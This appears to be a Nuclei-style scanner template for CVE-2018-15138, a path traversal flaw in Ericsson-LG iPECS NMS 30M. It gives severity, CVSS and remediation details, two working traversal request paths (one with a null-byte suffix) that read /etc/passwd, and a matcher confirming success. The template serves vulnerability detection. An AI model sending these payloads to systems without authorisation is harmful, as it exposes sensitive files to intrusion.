id: CVE-2018-15138

info:
  name: LG-Ericsson iPECS NMS 30M - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2018080070
    - https://www.exploit-db.com/exploits/45167/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15138
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15138
    cwe-id: CWE-22
    epss-score: 0.12851
    epss-percentile: 0.95898
    cpe: cpe:2.3:a:ericssonlg:ipecs_nms:30m-2.3gn:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ericssonlg
    product: ipecs_nms
  tags: cve2018,cve,ericsson,lfi,traversal,edb,ericssonlg,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data"
      - "{{BaseURL}}/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402205c036754acb5e595149453ad7d35010cbe746f689478b4608e4230393669ad9402207c8ef0370779421acf0fba6dd15894b44a7242ee1ae6304fe3e24e73b1c53b51:922c64590222798bb761d5b6d8e72950